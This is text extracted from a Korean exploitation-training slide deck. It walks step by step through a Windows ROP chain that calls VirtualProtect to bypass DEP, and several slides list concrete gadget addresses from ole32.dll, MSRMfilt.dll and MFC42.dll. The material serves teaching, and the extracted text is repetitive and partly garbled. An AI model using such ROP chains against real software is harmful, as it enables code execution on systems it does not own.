EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
x4 반복(4bytes)
66. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -3
[ROP-5코드 참조]
67. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -4
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
68. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -4
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
ESI 레지스터 값을 다시 되돌려놓는 GadgetE-1
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
0x775D131E:
# PUSH EAX # POP ESI # RETN [Module: ole32.dll]
0x100307A9:
# XOR EAX,EAX # RETN [Module: MSRMfilt.dll]
0x1002DC4C:
# ADD EAX,100 # POP EBP # RETN [Module: MSRMfilt.dll]
세번째 인자값 300을 생성하는 GadgetE-2
X 3 반복
69. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -5
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
70. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -5
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
Gadget F
ESI 레지스터 값을 다시 되돌려놓는 GadgetF-1
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
0x775D131E:
# PUSH EAX # POP ESI # RETN [Module: ole32.dll]
0x100307A9:
# XOR EAX,EAX # RETN [Module: MSRMfilt.dll]
0x1002DC4C:
# ADD EAX,40 # POP EBP # RETN [Module: MSRMfilt.dll]
세번째 인자값 300을 생성하는 GadgetF-2
71. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -6
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
72. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -6
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
5번째 인자값은 별도의 Gadget 없이 초기 설정 가능
73. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -7
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
74. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -7
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
0x73DF5CA8:
# PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI
# RETN [Module: MFC42.dll]
0x775D12F1:
# SUB EAX,4 # RETN [Module: ole32.dll]
ESP 를 VirtualProtect( ) 시작 위치로 변경하는 GadgetH-1
75. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -8
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
Gadget B
76. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -9
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
Gadget B
Execution
77. Track3. Exploitation Bypassing DEP by using ROP
Step by Step -9
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
[ROP-8(final)코드 참조]
78. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
Call VirtualProtectEX
Change the protection on a region of committed page
and Return to start point of shell code , Execute it